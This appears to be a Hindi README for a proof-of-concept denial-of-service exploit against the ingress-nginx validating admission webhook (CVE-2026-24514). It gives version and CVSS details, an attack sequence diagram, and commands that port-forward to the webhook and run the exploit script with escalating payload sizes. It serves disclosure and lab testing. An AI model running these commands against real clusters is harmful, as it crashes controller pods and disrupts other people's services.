
CVE-2026-24514 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, ingress-nginx वैलिडेटिंग एडमिशन वेबहुक में मेमोरी एग्जॉस्शन डिनायल-ऑफ-सर्विस, जो कम-विशेषाधिकार वाले हमलावरों को अत्यधिक बड़े AdmissionReview अनुरोधों के माध्यम से कंट्रोलर पॉड्स को क्रैश करने की अनुमति देता है।
अनप्रमाणित / निम्न-विशेषाधिकार वाला रिमोट डिनायल-ऑफ-सर्विस भेद्यता जो हमलावरों को अत्यधिक बड़े AdmissionReview अनुरोधों के माध्यम से ingress-nginx कंट्रोलर पॉड्स को क्रैश करने की अनुमति देती है।
ingress-nginx वैलिडेटिंग एडमिशन वेबहुक (जब सक्षम हो) आने वाले AdmissionReview ऑब्जेक्ट्स के आकार पर उचित सीमाएं लागू नहीं करता है।
एक हमलावर जो वेबहुक एंडपॉइंट तक पहुंच सकता है — यहां तक कि केवल निम्न विशेषाधिकारों के साथ — अत्यधिक बड़े JSON पेलोड सबमिट कर सकता है, जिससे कंट्रोलर प्रक्रिया को भारी मात्रा में मेमोरी आवंटित करने के लिए मजबूर होना पड़ता है।
परिणामों में शामिल हैं:
CVSS v3.1 बेस स्कोर
6.5 मध्यम
वेक्टर स्ट्रिंग
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
कमजोरी
CWE-770: सीमाओं या थ्रॉटलिंग के बिना संसाधनों का आवंटन
क्रेडिट
मोहम्मद इदरीस बन्यामेर – @banyamer_security (जॉर्डन)
| घटक | भेद्य संस्करण | स्थिर संस्करण | वेबहुक डिफ़ॉल्ट रूप से सक्षम? |
|---|---|---|---|
| ingress-nginx | < 1.13.7 | ≥ 1.13.7 | नहीं |
| ingress-nginx (1.14.x) | < 1.14.3 | ≥ 1.14.3 | नहीं |
नोट: यह भेद्यता केवल तभी प्रकट होती है जब वैलिडेटिंग एडमिशन वेबहुक सुविधा स्पष्ट रूप से सक्षम हो।
sequenceDiagram
participant Attacker as Low-priv. Attacker<br>(inside / adjacent cluster)
participant API as kube-apiserver
participant WebhookConfig as ValidatingWebhookConfiguration<br>(ingress-nginx-admission)
participant AdmissionSvc as ingress-nginx-admission<br>Service / Pod
participant Controller as ingress-nginx Controller Process
Note over Attacker,Controller: Attack prerequisites: webhook enabled + reachable endpoint
Attacker->>API: 1. Create/Update large Ingress resource<br>OR direct POST to webhook endpoint
API->>WebhookConfig: 2. Trigger admission review
WebhookConfig->>AdmissionSvc: 3. Forward AdmissionReview v1 request<br>(very large JSON body)
AdmissionSvc->>Controller: 4. Receive & begin parsing huge payload
activate Controller
Note right of Controller: No request body size limit in vulnerable versions
Controller-->>Controller: 5. Allocate memory for large strings/objects<br>(heap grows massively → OOM imminent)
Controller->>AdmissionSvc: 6. (Fails / hangs due to memory exhaustion)
deactivate Controller
Kubernetes->>AdmissionSvc: 7. kubelet detects memory limit breach
Kubernetes->>AdmissionSvc: 8. OOMKill container
AdmissionSvc-->>API: 9. Webhook timeout / connection refused
API-->>Attacker: 10. Admission denied or timeout<br>(Ingress creation fails)
Note over Attacker,Kubernetes: Result:
Note over Attacker,Kubernetes: • ingress-nginx pod restarted / crashed
Note over Attacker,Kubernetes: • Temporary loss of ingress validation
Note over Attacker,Kubernetes: • Potential brief service disruption for new ingresses
Note over Attacker,Kubernetes: • Possible node pressure in low-memory clustersमहत्वपूर्ण: यह भेद्यता केवल पृथक लैब/परीक्षण क्लस्टर में स्पष्ट अनुमति के साथ प्रदर्शित की जानी चाहिए।
उत्पादन वातावरण के खिलाफ इसे चलाना अवैध है और आउटेज का कारण बन सकता है।
अनुशंसित सुरक्षित परीक्षण विधि:
# 1. Port-forward the admission service locally
kubectl port-forward svc/ingress-nginx-controller-admission \
8443:443 -n ingress-nginx
# 2. Run PoC with increasing payload sizes (start small!)
python3 cve-2026-24514-Kubernetes.py https://localhost:8443/validate 25 --insecure
# 3. Monitor memory & pod status in another terminal
watch -n 2 'kubectl top pods -n ingress-nginx && kubectl get pods -n ingress-nginx'
# More aggressive examples (use with caution)
python3 cve-2026-24514-Kubernetes.py https://localhost:8443/validate 80 --insecure
python3 cve-2026-24514-Kubernetes.py https://localhost:8443/validate 150 --insecure --field-name enormousJunk
यथार्थवादी हमले के परिदृश्य:
--enable-validating-webhook=false)जिम्मेदार प्रकटीकरण और PoC क्रेडिट: मोहम्मद इदरीस बन्यामेर (@banyamer_security)